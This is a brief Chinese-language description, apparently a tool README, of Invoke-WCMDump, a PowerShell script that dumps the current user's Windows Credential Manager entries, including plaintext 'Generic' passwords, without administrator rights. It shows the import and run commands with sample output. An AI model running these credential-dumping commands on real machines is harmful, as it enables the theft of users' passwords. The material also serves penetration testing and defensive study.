PowerShell 脚本,用于从凭据管理器中转储 Windows 凭据
Invoke-WCMDump 枚举凭据管理器中的 Windows 凭据,然后提取每个凭据的可用信息。对于“Generic”类型的凭据,可以检索密码;对于“Domain”类型的凭据,则无法通过相同方法检索。仅返回当前用户的凭据。
不需要管理员权限!
作者:Barrett Adams(@peewpw)
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
Username : testusername
Password : P@ssw0rd!
Target : TestApplication
Description :
LastWriteTime : 12/9/2017 4:46:50 PM
LastWriteTimeUtc : 12/9/2017 9:46:50 PM
Type : Generic
PersistenceType : Enterprise